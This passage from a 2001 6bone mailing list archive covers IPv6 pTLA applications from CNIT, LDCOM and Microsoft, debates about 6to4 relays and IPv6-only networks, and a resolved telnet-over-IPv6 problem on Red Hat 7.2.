>italian University cover the whole country and it will give access to
>a potentially huge number of student, researcher and people. A lot of
>projects in which CNIT is involved require network extension to final
>users and to other company. Furthermore, the number of university
>directly linked with CNIT growth every mounth with a very interesting
>trend. The basic persons in the CNIT permanent staff is about 300 and
>the number of students directly managed, and potentially involved in
>the IPV6 use, are around a million.
>
>
>   4. The pTLA Applicant MUST commit to abide by the current 6Bone
>      operational rules and policies as they exist at time of its
>      application, and agree to abide by future 6Bone backbone
>      operational rules and policies as they evolve by consensus of the
>      6Bone backbone and user community.
>
>We agree with the actual policy and we will accept any future
>decisions the 6bone will take, by operating as a consequence of these
>actions.
>
>   When an Applicant seeks to receive a pTLA allocation, it will apply
>   to the 6Bone Operations Group (see section 8 below) by providing to
>   the Group information in support of its claims that it meets the
>   criteria above.
>
>All the people involved in this request are directly interested on the
>IPv6 and they are subscripted to the mailing list before the beginning
>of this project.
>
>8. 6Bone Operations Group
>
>   The 6Bone Operations Group is the group in charge of monitoring and
>   policing adherence to the current rules. Membership in the 6Bone
>   Operations Group is mandatory for, and restricted to, sites connected
>   to the 6Bone.
>
>   The 6Bone Operations Group is currently defined by those members of
>   the existing 6Bone mailing list who represent sites participating in
>   the 6Bone. Therefore it is incumbent on relevant site contacts to
>   join the 6Bone mailing list. Instructions on how to join the list are
>   maintained on the 6Bone web site at < http://www.6bone.net>.
>
>In am registered in the 6BONE mailing list since a lot of years ago.



From 6bone-owner  Tue Dec 11 07:52:47 2001
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To: Francis Dupont <Francis.Dupont@enst-bretagne.fr>
Cc: Dave Wilson <dave.wilson@heanet.ie>, 6bone@ISI.EDU
In-reply-to: Francis.Dupont's message of Tue, 11 Dec 2001 05:32:15 +0100.
      <200112110432.fBB4WFD20031@givry.rennes.enst-bretagne.fr> 
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Subject: Re: Routing of 2002::/16 
From: Jun-ichiro itojun Hagino <itojun@iijlab.net>
Date: Wed, 12 Dec 2001 00:53:10 +0900
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>(not only the long list of trivial abuses you can get in KAME stf
>manual page, Itojun can say more about this).

	just in case you don't have *BSD systems.
	http://www.tac.eu.org/cgi-bin/man-cgi?stf+4+NetBSD-current

itojun

From 6bone-owner  Tue Dec 11 08:49:51 2001
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From: Francis Dupont <Francis.Dupont@enst-bretagne.fr>
To: "Michel Py" <michel@arneill-py.sacramento.ca.us>
cc: "Dave Wilson" <dave.wilson@heanet.ie>, 6bone@ISI.EDU
Subject: Re: Routing of 2002::/16 
In-reply-to: Your message of Mon, 10 Dec 2001 16:32:01 PST.
             <2B81403386729140A3A899A8B39B046405DD95@server2000.arneill-py.sacramento.ca.us> 
Date: Tue, 11 Dec 2001 17:50:06 +0100
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 In your previous mail you wrote:

   If I assume correctly, these customers also have IPv4 Internet access,

=> your assumption is not correct if you add "usable for 6to4 relaying".

Regards

Francis.Dupont@enst-bretagne.fr

PS: a notable fraction of IPv6 sites I know are in fact IPv6 only
(i.e. no IPv4 or IPv4 managed by other with firewalls, etc).

From 6bone-owner  Tue Dec 11 11:20:35 2001
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From: Pekka Savola <pekkas@netcore.fi>
To: Dave Wilson <dave.wilson@heanet.ie>
cc: <6bone@ISI.EDU>
Subject: Re: Routing of 2002::/16 
In-Reply-To: <200112110432.fBB4WFD20031@givry.rennes.enst-bretagne.fr>
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On Tue, 11 Dec 2001, Francis Dupont wrote:
> (not only the long list of trivial abuses you can get in KAME stf
> manual page, Itojun can say more about this).

If someone finds this subject interesting, there is also an issue that 
clarifies security issues around 6to4 at:

http://www.ietf.org/internet-drafts/draft-savola-ngtrans-6to4-security-00.txt

-- 
Pekka Savola                 "Tell me of difficulties surmounted,
Netcore Oy                   not those you stumble over and fall"
Systems. Networks. Security.  -- Robert Jordan: A Crown of Swords


From 6bone-owner  Tue Dec 11 12:05:24 2001
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To: Nathan Lutchansky <lutchann@litech.org>
cc: 6bone@ISI.EDU
Subject: Re: Routing of 2002::/16 
In-reply-to: Your message of "Tue, 11 Dec 2001 11:02:00 EST."
             <20011211110200.A24477@litech.org> 
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>>>>> "Nathan" == Nathan Lutchansky <lutchann@litech.org> writes:
    Nathan> On Mon, Dec 10, 2001 at 07:51:27PM -0700, Michael Richardson wrote:
    >> 
    >> I'm not entirely clear why an ISP that had, for instance 209.151.0.0/19,
    >> couldn't advertise a gateway to 2002:d197:0000::/35 to its v6 peers.

    Nathan> Because everyone would simply map their IPv4 tables into their IPv6 
    Nathan> tables, effectively bootstrapping the IPv6 DFZ with thousands of entries.  
    Nathan> That's one thing we're trying to get away from with IPv6.

  Yes, I agree that the DFZ should filter out longer prefixes for this reason.
  I should have said *v6-only* peers.

]       ON HUMILITY: to err is human. To moo, bovine.           |  firewalls  [
]   Michael Richardson, Sandelman Software Works, Ottawa, ON    |net architect[
] mcr@sandelman.ottawa.on.ca http://www.sandelman.ottawa.on.ca/ |device driver[
] panic("Just another NetBSD/notebook using, kernel hacking, security guy");  [

From 6bone-owner  Wed Dec 12 03:47:17 2001
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From: Foelski Thomas <Thomas.Foelski@icn.siemens.de>
To: "'6bone@ISI.EDU'" <6bone@ISI.EDU>
Subject: Telnet Client Red Hat 7.2 IPv6 enabled ??
Date: Wed, 12 Dec 2001 12:47:47 +0100
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Hello All,

we are working here with Red Hat Linux 7.2 and W2000, and trying to connect to a telnet server ( Red Hat 7.2, Telnet Server 0.17-20 ).
When we connect from a W2000 client, it is working, with the pure IPv6 address and also with a DNS ( Bind 9).
When we want to connect from a Red Hat 7.2 client ( we tried Telnet-client 0.17-20 and 0.17-18 ),
we get the error message " Invalid Argument". So, the question is, does the telnet-client package support
IPv6 or do we something wrong ? Do we need to set a flag or give a special parameter to the command ?

[root@host1 root]# telnet fe80::204:76ff:fe24:e52a
Trying fe80::204:76ff:fe24:e52a...
telnet: connect to address fe80::204:76ff:fe24:e52a: Invalid argument
[root@host1 root]#

Thanks

Thomas

From 6bone-owner  Wed Dec 12 08:53:56 2001
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From: Flavio Villanustre <lists@geminis.myip.org>
To: Foelski Thomas <Thomas.Foelski@icn.siemens.de>
cc: "'6bone@ISI.EDU'" <6bone@ISI.EDU>
Subject: Re: Telnet Client Red Hat 7.2 IPv6 enabled ??
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Thomas,

AFAIK, included telnet client in RedHat 7.2 doesn't support IPv6. You
could download an IPv6 capable telnet client or use shimlib library from
Nick Sayer to enable any standard IPv4 application (i.e. telnet client)  
to resolve and connect to IPv6 servers.

You can download a modified version of shimlib library that compiles
cleanly under RedHat 7.2 from:

http://flavio.acme.com (IPv6 only site) or
http://geminis.myip.org (IPv4 only site)

It's just a single C source, compile it with:

gcc -shared -o shimlib.so shimlib.c -ldl

To use shimlib just issue:

LD_PRELOAD=./shimlib.so telnet IPv6_AAAA_or_A6_name_record

Regards,

Flavio. 

On Wed, 12 Dec 2001, Foelski Thomas wrote:

> Hello All,
> 
> we are working here with Red Hat Linux 7.2 and W2000, and trying to connect to a telnet server ( Red Hat 7.2, Telnet Server 0.17-20 ).
> When we connect from a W2000 client, it is working, with the pure IPv6 address and also with a DNS ( Bind 9).
> When we want to connect from a Red Hat 7.2 client ( we tried Telnet-client 0.17-20 and 0.17-18 ),
> we get the error message " Invalid Argument". So, the question is, does the telnet-client package support
> IPv6 or do we something wrong ? Do we need to set a flag or give a special parameter to the command ?
> 
> [root@host1 root]# telnet fe80::204:76ff:fe24:e52a
> Trying fe80::204:76ff:fe24:e52a...
> telnet: connect to address fe80::204:76ff:fe24:e52a: Invalid argument
> [root@host1 root]#
> 
> Thanks
> 
> Thomas
> 


From 6bone-owner  Wed Dec 12 09:08:54 2001
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Subject: delegation under x.x.e.f.f.3.ip6.arpa.
From: itojun@iijlab.net
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	hello,

	how can we get NS delegation under x.x.e.f.f.3.ip6.arpa. (not "int")?
	some of our zones are ready to go.

itojun

From 6bone-owner  Wed Dec 12 09:19:12 2001
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From: Bill Manning <bmanning@ISI.EDU>
To: itojun@iijlab.net
Cc: Bill Manning <bmanning@ISI.EDU>, 6bone@ISI.EDU
Subject: Re: delegation under x.x.e.f.f.3.ip6.arpa.
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On Thu, Dec 13, 2001 at 02:09:31AM +0900, itojun@iijlab.net wrote:
> 	hello,
> 
> 	how can we get NS delegation under x.x.e.f.f.3.ip6.arpa. (not "int")?
> 	some of our zones are ready to go.
> 
> itojun


	Don't know.  There are a number of zone cuts in IP6.INT
	that were not considered by ICANN when the ip6.arpa
	zone was created.  I'm trying to open a dialog with 
	them to see about including these other zones.

--bill

From 6bone-owner  Wed Dec 12 10:08:33 2001
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Date: Wed, 12 Dec 2001 15:08:45 -0300 (ART)
From: Flavio Villanustre <lists@geminis.myip.org>
To: Stig Venaas <Stig.Venaas@itea.ntnu.no>
cc: Foelski Thomas <Thomas.Foelski@icn.siemens.de>,
        "'6bone@ISI.EDU'" <6bone@ISI.EDU>
Subject: Re: Telnet Client Red Hat 7.2 IPv6 enabled ??
In-Reply-To: <20011212184619.A18127@itea.ntnu.no>
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On Wed, 12 Dec 2001, Stig Venaas wrote:

> It does support IPv6 and works quite nicely for me.

Are you sure? Standard RPM telnet package in RedHat 7.2 is 
telnet-0.17-20.i386.rpm and it doesn't support IPv6...

Regards,

Flavio.


From 6bone-owner  Wed Dec 12 10:25:29 2001
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From: Michael Kjorling <michael@kjorling.com>
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Subject: Re: Telnet Client Red Hat 7.2 IPv6 enabled ??
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-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

OK, I can't say I'm familiar with IPv6 yet, but do you have telnet6 on
your system? If so, does it work any better?


Michael Kjörling


On Dec 12 2001 12:47 +0100, Foelski Thomas wrote:

> Hello All,
>
> we are working here with Red Hat Linux 7.2 and W2000, and trying to connect to a telnet server ( Red Hat 7.2, Telnet Server 0.17-20 ).
> When we connect from a W2000 client, it is working, with the pure IPv6 address and also with a DNS ( Bind 9).
> When we want to connect from a Red Hat 7.2 client ( we tried Telnet-client 0.17-20 and 0.17-18 ),
> we get the error message " Invalid Argument". So, the question is, does the telnet-client package support
> IPv6 or do we something wrong ? Do we need to set a flag or give a special parameter to the command ?
>
> [root@host1 root]# telnet fe80::204:76ff:fe24:e52a
> Trying fe80::204:76ff:fe24:e52a...
> telnet: connect to address fe80::204:76ff:fe24:e52a: Invalid argument
> [root@host1 root]#
>
> Thanks
>
> Thomas

- -- 
Michael Kjörling  --  Programmer/Network administrator  ^..^
Internet: michael@kjorling.com -- FidoNet: 2:204/254.4   \/
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"There is something to be said about not trying to be glamorous
and popular and cool. Just be real -- and life will be real."
(Joyce Sequichie Hifler, September 13 2001, www.hifler.com)
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From 6bone-owner  Wed Dec 12 10:27:38 2001
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From: Jean-Luc Richier <Jean-Luc.Richier@imag.fr>
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In-Reply-To: Flavio Villanustre's message as of Dec 12, 15:08.
Organization: IMAG, Grenoble, France
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To: Flavio Villanustre <lists@geminis.myip.org>,
        Stig Venaas <Stig.Venaas@itea.ntnu.no>
Subject: Re: Telnet Client Red Hat 7.2 IPv6 enabled ??
Cc: Foelski Thomas <Thomas.Foelski@icn.siemens.de>,
        "'6bone@ISI.EDU'" <6bone@ISI.EDU>
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In your mail dated Dec 12, 15:08 you wrote:
>On Wed, 12 Dec 2001, Stig Venaas wrote:
>
>> It does support IPv6 and works quite nicely for me.
>
>Are you sure? Standard RPM telnet package in RedHat 7.2 is 
>telnet-0.17-20.i386.rpm and it doesn't support IPv6...
>
>Regards,
>
>Flavio.
>
sorry, it does support IPv6:
bastet.imag.fr(20) /usr/bin/telnet www6.ipv6.imag.fr
Trying 2001:660:181:1::50...
Connected to www6.ipv6.imag.fr.
Escape character is '^]'.

FreeBSD/i386 (luna.imag.fr) (ttyp1)
bastet.imag.fr(21) more /etc/redhat-release 
Red Hat Linux release 7.2 (Enigma)
bastet.imag.fr(22) rpm -qf /usr/bin/telnet
telnet-0.17-20

BUT !!!  telnet only without path does not work, as:

bastet.imag.fr(23) which telnet
/usr/kerberos/bin/telnet
bastet.imag.fr(24) rpm -qf /usr/kerberos/bin/telnet
krb5-workstation-1.2.2-13

and kerberos telnet does not work with ipv6.

As for the original question, the problem is not telnet, but trying to connect
to a link local address. Therefore the scope of the connection is unknown and
telnet fails. The correct telnet is:

/usr/bin/telnet fe80::210:11ff:fe76:7800%eth0

using a scoped address.

Regards

-- 
Jean-Luc RICHIER (Jean-Luc.Richier@Imag.Fr  richier@imag.fr)
Laboratoire Logiciels, Systemes et Reseaux (LSR-IMAG)
IMAG-CAMPUS, BP 72, F-38402 St Martin d'Heres Cedex
Tel : +33 4 76 82 72 32 Fax : +33 4 76 82 72 87

From 6bone-owner  Wed Dec 12 10:27:49 2001
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Date: Wed, 12 Dec 2001 15:28:16 -0300 (ART)
From: Flavio Villanustre <lists@geminis.myip.org>
To: Stig Venaas <Stig.Venaas@itea.ntnu.no>
cc: Foelski Thomas <Thomas.Foelski@icn.siemens.de>,
        "'6bone@ISI.EDU'" <6bone@ISI.EDU>
Subject: Re: Telnet Client Red Hat 7.2 IPv6 enabled ??
In-Reply-To: <20011212192127.A7965@itea.ntnu.no>
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You're absolutely right. My fault and probably Thomas' problem too.

There is a package on RedHat 7.2 called krb5-workstation-1.2.2-13 that 
includes an IPv4 only telnet client installed under 
/usr/kerberos/bin/telnet and $PATH is:

/usr/kerberos/bin:/usr/local/bin:/bin:/usr/bin:/usr/X11R6/bin:

so, Thomas, just run /usr/bin/telnet or remove krb5-workstation-1.2.2-13 
package and you'll have an IPv6 capable telnet on-board

Thanks and regards,

Flavio.

On Wed, 12 Dec 2001, Stig Venaas wrote:

> On Wed, Dec 12, 2001 at 03:08:45PM -0300, Flavio Villanustre wrote:
> > On Wed, 12 Dec 2001, Stig Venaas wrote:
> > 
> > > It does support IPv6 and works quite nicely for me.
> > 
> > Are you sure? Standard RPM telnet package in RedHat 7.2 is 
> > telnet-0.17-20.i386.rpm and it doesn't support IPv6...
> 
> That exact RPM supports IPv6. I know for sure that my telnet
> binary is from telnet-0.17-20.i386.rpm, and for instance
> 
> bash-2.05$ /usr/bin/telnet 2001:700:1:0:290:27ff:fe55:fe7b 389
> Trying 2001:700:1:0:290:27ff:fe55:fe7b...
> Connected to 2001:700:1:0:290:27ff:fe55:fe7b.
> Escape character is '^]'.
> 
> works. It also tries all possible addresses which is good.
> 
> bash-2.05$ /usr/bin/telnet ldap.uninett.no
> Trying 2001:700:1:0:290:27ff:fe55:fe7b...
> telnet: connect to address 2001:700:1:0:290:27ff:fe55:fe7b: Connection refused
> Trying 3ffe:2a00:100:7001:290:27ff:fe55:fe7b...
> telnet: connect to address 3ffe:2a00:100:7001:290:27ff:fe55:fe7b: Connection refused
> Trying 2002:9e26:d6:1:290:27ff:fe55:fe7b...
> telnet: connect to address 2002:9e26:d6:1:290:27ff:fe55:fe7b: Connection refused
> Trying 158.38.60.76...
> telnet: connect to address 158.38.60.76: Connection refused
> 
> Stig
> 


From 6bone-owner  Wed Dec 12 11:12:41 2001
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From: Pekka Savola <pekkas@netcore.fi>
To: Flavio Villanustre <lists@geminis.myip.org>
cc: Foelski Thomas <Thomas.Foelski@icn.siemens.de>,
        "'6bone@ISI.EDU'" <6bone@ISI.EDU>
Subject: Re: Telnet Client Red Hat 7.2 IPv6 enabled ??
In-Reply-To: <Pine.LNX.4.33.0112121345520.17527-100000@geminis.myip.org>
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On Wed, 12 Dec 2001, Flavio Villanustre wrote:
> Thomas,
> 
> AFAIK, included telnet client in RedHat 7.2 doesn't support IPv6. You
> could download an IPv6 capable telnet client or use shimlib library from
> Nick Sayer to enable any standard IPv4 application (i.e. telnet client)  
> to resolve and connect to IPv6 servers.

RHL72 telnet client supports IPv6.

Problem here was Thomas tried to connect to link-local address without 
specifying scope.

-- 
Pekka Savola                 "Tell me of difficulties surmounted,
Netcore Oy                   not those you stumble over and fall"
Systems. Networks. Security.  -- Robert Jordan: A Crown of Swords


From 6bone-owner  Wed Dec 12 12:14:08 2001
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Date: Wed, 12 Dec 2001 22:14:32 +0200 (EET)
From: Pekka Savola <pekkas@netcore.fi>
To: Flavio Villanustre <lists@geminis.myip.org>
cc: Stig Venaas <Stig.Venaas@itea.ntnu.no>,
        Foelski Thomas <Thomas.Foelski@icn.siemens.de>,
        "'6bone@ISI.EDU'" <6bone@ISI.EDU>
Subject: Re: Telnet Client Red Hat 7.2 IPv6 enabled ??
In-Reply-To: <Pine.LNX.4.33.0112121505090.19025-100000@geminis.myip.org>
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On Wed, 12 Dec 2001, Flavio Villanustre wrote:
> On Wed, 12 Dec 2001, Stig Venaas wrote:
> 
> > It does support IPv6 and works quite nicely for me.
> 
> Are you sure? Standard RPM telnet package in RedHat 7.2 is 
> telnet-0.17-20.i386.rpm and it doesn't support IPv6...

Positive.

[psavola@haukka psavola]$ rpm -q telnet redhat-release
telnet-0.17-20
redhat-release-7.2-1
[psavola@haukka psavola]$ telnet ipv6.netcore.fi 22
Trying 2001:670:86::1...
Connected to ipv6.netcore.fi.
Escape character is '^]'.
[...]

-- 
Pekka Savola                 "Tell me of difficulties surmounted,
Netcore Oy                   not those you stumble over and fall"
Systems. Networks. Security.  -- Robert Jordan: A Crown of Swords


From 6bone-owner  Wed Dec 12 16:02:10 2001
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Date: Thu, 13 Dec 2001 00:02:26 +0000
From: Russell King <rmk@arm.linux.org.uk>
To: Flavio Villanustre <lists@geminis.myip.org>
Cc: Foelski Thomas <Thomas.Foelski@icn.siemens.de>,
        "'6bone@ISI.EDU'" <6bone@ISI.EDU>
Subject: Re: Telnet Client Red Hat 7.2 IPv6 enabled ??
Message-ID: <20011213000226.C4606@flint.arm.linux.org.uk>
References: <AEEEEE93AFA5D411AF8500D0B75E4A1601879E1A@BSL203E> <Pine.LNX.4.33.0112121345520.17527-100000@geminis.myip.org>
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In-Reply-To: <Pine.LNX.4.33.0112121345520.17527-100000@geminis.myip.org>; from lists@geminis.myip.org on Wed, Dec 12, 2001 at 01:54:06PM -0300
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On Wed, Dec 12, 2001 at 01:54:06PM -0300, Flavio Villanustre wrote:
> AFAIK, included telnet client in RedHat 7.2 doesn't support IPv6.

RH7.2 telnet supports IPv6.  Just make sure you're using /usr/bin/telnet,
not the kerberos-ized version.

(Chances are if you have kerberos stuff installed, you're using the kerberos
telnet not /usr/bin/telnet).

--
Russell King (rmk@arm.linux.org.uk)                The developer of ARM Linux
             http://www.arm.linux.org.uk/personal/aboutme.html


From 6bone-owner  Thu Dec 13 04:02:58 2001
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Date: Thu, 13 Dec 2001 13:03:35 +0100
From: "Peter B . Juul" <peter.juul@uni-c.dk>
To: 6bone@ISI.EDU
Subject: IP addresses in 6bone
Message-ID: <20011213130335.M21931@uni-c.dk>
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[Please correct any technical nonsense I might spew in this mail. I am just
starting in figuring out how ipv6 works.]

We, Uni-C, used to be connected to the 6bone, but changes in staff, hardware
platforms and the lack of interest from our customers made us drop out.

However, it seems 3FFE:1400::/24 is still assigned to us (that's a rather
large assignment. A /32 or even af /36 would suffice - keeping to the
4bit borderlines).

We are joining the 6net project, and I was thinking about just using the
above-mentioned prefix in this.

However, a lookup in whois.6bone.net gave me this info:

$ whois "-M 3ffe:1400::/24"@whois.6bone.net

ipv6-site:    EMI-DTU
origin:       AS1835
descr:        EMI, Tech. U. of Denmark, Lyngby, Denmark
location:     55 46 8 N 12 31 0 E 45m 100m 100m 10m
country:      DK
prefix:       3FFE:1401:1::/48
[..]

ipv6-site:    ECRC
origin:       AS1273
descr:        Cable & Wireless ECRC GmbH
              Arabellastr. 17
              D-81925 Munich
              Germany
country:      DE
prefix:       3FFE:1402:1::/48
[..]

ipv6-site:    ICM-PL
origin:       AS8664
descr:        Interdisciplinary Centre for Mathematical and Computational Modelling
              Warsaw University, Poland
              ul. Pawinskiego 5a
              02-106 Warszawa
location:     52 12 22 N 20 59 01 E 100m
country:      PL
prefix:       3FFE:8010::/28
prefix:       3FFE:902::/32
prefix:       3FFE:280::/40
prefix:       3FFE:140F:1::/48
[..]


Now, the first on (EMI-DTU) makes sense. They are an institution connected to
the world through us (and through our AS-no.), but the latter two baffles me
a bit.

Their having addresses in out /24... Is that a consequence of our being marked
as inactive, or is there some clue somewhere, that we delegated those 
addresses to them?

If the former, I'd suggest that we and EMI-DTU (who are also inactive, since
the one who dealt with ipv6 left years ago and we are their only connection)
are simply removed from the registry, thereby making the inconsistencies go
away.

We would then have to apply for new addresses, but since we do not use the 
3FFE:1400::/24 anyway (yet), that wouldn't be too much of a hassle.

Peter B. Juul, 
Uni·C (PBJ255-RIPE)

From 6bone-owner  Thu Dec 13 09:02:39 2001
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Date: Thu, 13 Dec 2001 09:03:18 -0800
To: 6BONE List <6bone@ISI.EDU>
From: Bob Fink <fink@es.net>
Subject: 6bone pTLA 3FFE:82E0::/28 allocated to LDCOM
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LDCOM has been allocated pTLA 3FFE:82E0::/28 having finished its 2-week 
review period.

<http://whois.6bone.net/cgi-bin/whois?LDCOM>


Note that it will take a short while for their pTLA inet6num entry to 
appear in the 6bone registry as they have to create it themselves. However, 
their registration is listed on:

<http://www.6bone.net/6bone_pTLA_list.html>	


[To create a reverse DNS registration for pTLAs, please send the prefix 
allocated above, and a list of at least two authoritative nameservers, to 
either bmanning@isi.edu or hostmaster@ep.net.]


Thanks,

Bob


From 6bone-owner  Fri Dec 14 22:05:35 2001
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Date: Fri, 14 Dec 2001 22:06:01 -0800
From: Chuck Yerkes <chuck+6bone@snew.com>
To: Michel Py <michel@arneill-py.sacramento.ca.us>
Cc: Dave Wilson <dave.wilson@heanet.ie>, 6bone@ISI.EDU
Subject: Presuming IPv4 (was Re: Routing of 2002::/16)
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Quoting Michel Py (michel@arneill-py.sacramento.ca.us):
> >> From: Dave Wilson 
> >> I'm looking into setting up a 6to4 relay router for my customers
> 
> I don't understand why you need a 6to4 relay in the first place. You are
> mentioning advertising routes to your customers. This implies that they
> have IPv6 capable routers that can also understand RIP or BGP for IPv6.

> If I assume correctly, these customers also have IPv4 Internet access,
> therefore they shoud be able to configure 6to4 on their sites. If they
> don't know how, this is called billable services.....

This may be a reasonable assumption at the moment, but in the
context of an experimental and experimenting network (the
6bone) and, more, in the interests of preparing for a far more
6-aware world, I'd like to presume instead that there are many
6-only networks with no 4 network.

This becomes more and more important as chunks of networks
can start to lose their IP4 dependancy - we need to have a
"best practices" documented for a truly mixed network.

From 6bone-owner  Sat Dec 15 09:45:42 2001
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> 
> This may be a reasonable assumption at the moment, but in the
> context of an experimental and experimenting network (the
> 6bone) and, more, in the interests of preparing for a far more
> 6-aware world, I'd like to presume instead that there are many
> 6-only networks with no 4 network.
> 
> This becomes more and more important as chunks of networks
> can start to lose their IP4 dependancy - we need to have a
> "best practices" documented for a truly mixed network.
> 

Go visit http://www.kfu.com/~nsayer/6to4/noipv4.html . This page 
describes how you can get rid of IPv4 within the enterprise. 
Unfortunately, Windows still poses a bit of an obstacle (I attempted to 
implement BIA and immediately lost the ability to sign into the domain 
controller), but if you don't have (or don't care about) Windows, it's 
smooth sailing (the machine I'm typing on now has no IPv4 address).


From 6bone-owner  Sat Dec 15 15:00:26 2001
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From: "Michel Py" <michel@arneill-py.sacramento.ca.us>
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>> From: Chuck Yerkes [mailto:chuck+6bone@snew.com]
>> This may be a reasonable assumption at the moment, but in the
>> context of an experimental and experimenting network (the
>> 6bone) and, more, in the interests of preparing for a far more
>> 6-aware world, I'd like to presume instead that there are many
>> 6-only networks with no 4 network.

Dave's original text had the word "customer". Today, and for a while, the best advice you can give to a customer is that they need both v4 and v6. V6 only networks  are good for experiments, but I would not run a business on them. Would you be able to read this email today if you were v6 only? Would you risk loosing customers that have transition mechanism problems for the pleasure of being v6 only?

Let's be serious. The 6bone is a great place to test, but the day when Microsoft, Cisco, eBay, Amazon, Etrade, Travelocity and Cnn are moving their web sites to v6 only is years away. And I don't envision an Internet where you can pretend that Windows does not exist any time soon either.

In the meantime, the reason I was mentionning that it would be preferable to have the customers have their own 6to4 solution is this:

In the next three years, you will update the software that runs the 6to4 relay many times. People that have been doing this for a while will agree that there is a good chance that one of these many upgrades will introduce a new bug that will disable the 6to4 relay.

If your design is that your customers rely on this 6to4 relay, when you break it, all the customers are screaming at the same time, which experienced network administrators try to avoid.

On the other end, if customers have their own 6to4 relays on their own routers, not only they will not break all at the same time, but when they do break, it's not your fault.

Michel.


From 6bone-owner  Sun Dec 16 09:59:21 2001
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Michel Py wrote:

 >>> From: Chuck Yerkes [mailto:chuck+6bone@snew.com] This may be a
 >>> reasonable assumption at the moment, but in the context of an
 >>> experimental and experimenting network (the 6bone) and, more,
 >>> in the interests of preparing for a far more 6-aware world, I'd
 >>>  like to presume instead that there are many 6-only networks
 >>> with no 4 network.
 >>>
 >
 > Dave's original text had the word "customer". Today, and for a
 > while, the best advice you can give to a customer is that they need
 >  both v4 and v6. V6 only networks  are good for experiments, but I
 > would not run a business on them. Would you be able to read this
 > email today if you were v6 only? Would you risk loosing customers
 > that have transition mechanism problems for the pleasure of being
 > v6 only?

I don't know if I would go as far as that.

I believe that an enterprise needs a handfull of IPv4 addresses for 
things like web services, mail relays and NAT/NATPT endpoints. But if 
you're going to deal with the Internet via NAT, doing so via NATPT isn't 
any different, except for the fact that you have an opportunity to 
communicate with v6 sites without translation.

 > Let's be serious. The 6bone is a great place to test, but the day
 > when Microsoft, Cisco, eBay, Amazon, Etrade, Travelocity and Cnn
 > are moving their web sites to v6 only is years away.

Perhaps, but the day that they add AAAA or A6 records to their DNS is 
perhaps a bit closer. In the meantime, I can reach them with NATPT 
without having anything except the NATPT gateway configured with IPv4.

 > And I don't
 > envision an Internet where you can pretend that Windows does not
 > exist any time soon either.

There exist enterprises without Windows anywhere to be found. If you 
provide services for external sites, they will clearly need to have 
routable IPv4 addresses for now. But that's not the whole story here.

 > In the meantime, the reason I was mentionning that it would be
 > preferable to have the customers have their own 6to4 solution is
 > this:
 >
 > In the next three years, you will update the software that runs the
 > 6to4 relay many times. People that have been doing this for a while
 >  will agree that there is a good chance that one of these many
 > upgrades will introduce a new bug that will disable the 6to4 relay.
 >
 > If your design is that your customers rely on this 6to4 relay, when
 > you break it, all the customers are screaming at the same time,
 > which experienced network administrators try to avoid.
 >
 > On the other end, if customers have their own 6to4 relays on their
 > own routers, not only they will not break all at the same time, but
 >  when they do break, it's not your fault.

Replace '6to4 relays' with 'e-mail' and you can make the same argument. 
They are adding value to their service, which I applaud. It makes their 
service more valuable. As for the idea that they're going to flash some 
software into a router and suddenly hose up their service, the same 
argument applies to any other aspect of their business. Which is why you 
  either thoroughly test such things before hand or have a contingency 
plan to quickly migrate the service elsewhere or back the upgrade out 
should the need arise.



From 6bone-owner  Sun Dec 16 11:06:40 2001
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To: 6BONE List <6bone@ISI.EDU>
From: Bob Fink <fink@es.net>
Subject: pTLA request for MICROSOFT - review closes 2 January 2002
Cc: "Chris Engdahl" <cengdahl@microsoft.com>,
        "ITG IPv6 Engineering Team" <ipv6eng@microsoft.com>
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6bone Folk,

MICROSOFT has requested a pTLA allocation. The open review period for this 
will close 2 January 2002. Please send your comments to me or the list.

<http://whois.6bone.net/cgi-bin/whois?microsoft>


Thanks,

Bob

===
>Subject: pTLA Request for Microsoft
>Date: Fri, 14 Dec 2001 10:02:27 -0800
>From: "Chris Engdahl" <cengdahl@microsoft.com>
>To: "Bob Fink" <fink@es.net>
>Cc: "ITG IPv6 Engineering Team" <ipv6eng@microsoft.com>
>
>Hi Bob & the 6Bone-
>
>I'd like to request a pTLA for Microsoft Corporation, please find
>relevant info below.
>
>Thank you-
>Chris Engdahl
>
>---<schnip>---
>
>7. Guidelines for 6Bone pTLA sites
>    The following rules apply to qualify for a 6Bone pTLA allocation. It
>    should be recognized that holders of 6Bone pTLA allocations are
>    expected to provide production quality backbone network services for
>    the 6Bone.
>
>    1. The pTLA Applicant must have a minimum of three (3) months
>       qualifying experience as a 6Bone end-site or pNLA transit.
>During
>       the entire qualifying period the Applicant must be operationally
>       providing the following:
>
>       a. Fully maintained, up to date, 6Bone Registry entries for their
>          ipv6-site inet6num, mntner, and person objects, including each
>          tunnel that the Applicant has.
>
>ipv6-site:    MICROSOFT
>origin:       AS8070
>descr:        Microsoft IPv6 Site
>country:      US
>prefix:       3FFE:2900:201::/48
>prefix:       3FFE:C00:8036::/48
>tunnel:       IPv6 in IPv4 iusdxbonec7501-l1.ipv6.microsoft.com ->
>sl-bb1v6-nyc.sprintlink.net SPRINT BGP4+
>tunnel:       IPv6 in IPv4 iusdxbonec7501-l1.ipv6.microsoft.com ->
>ipv6-lab-gw.cisco.com CISCO BGP4+
>contact:      CE1-6BONE
>contact:      DF4-6BONE
>contact:      DML1-6BONE
>notify:       ipv6eng@microsoft.com
>mnt-by:       MNT-MSFT
>changed:      cengdahl@microsoft.com 20011113
>changed:      cengdahl@microsoft.com 20011213
>source:       6BONE
>
>       b. Fully maintained, and reliable, BGP4+ peering and connectivity
>          between the Applicant's boundary router and the appropriate
>          connection point into the 6Bone. This router must be IPv6
>          pingable. This criteria is judged by members of the 6Bone
>          Operations Group at the time of the Applicant's pTLA request.
>
>See router above: iusdxbonec7501.ipv6.microsoft.com currently peers with
>Sprint and Cisco.
>
>       c. Fully maintained DNS forward (AAAA) and reverse (ip6.int)
>          entries for the Applicant's router(s) and at least one host
>          system.
>
>
>6to4                    A     131.107.33.60
>                         AAAA  2002:836b:213c:1:e0:8f08:f020:8
>iusdxbonec7501-l1       AAAA  2002:836b:213c:1:e0:8f08:f020:8
>iusdxbonec7501-tun1     AAAA  3ffe:2900:2:1:0:0:0:2
>iusdxbonec7501-tun2     AAAA  3ffe:c00:8023:3a:0:0:0:2
>www                     A     131.107.152.134
>                         AAAA  2002:836b:9820:0:0:0:836b:9886
>
>8.0.0.0.0.2.0.f.8.0.f.8.0.e.0.0.1.0.0.0.c.3.1.2.b.6.3.8.2.0.0.2.ip6.int.
>\
>         IN   PTR      iusdxbonec7501-l1.ipv6.microsoft.com.
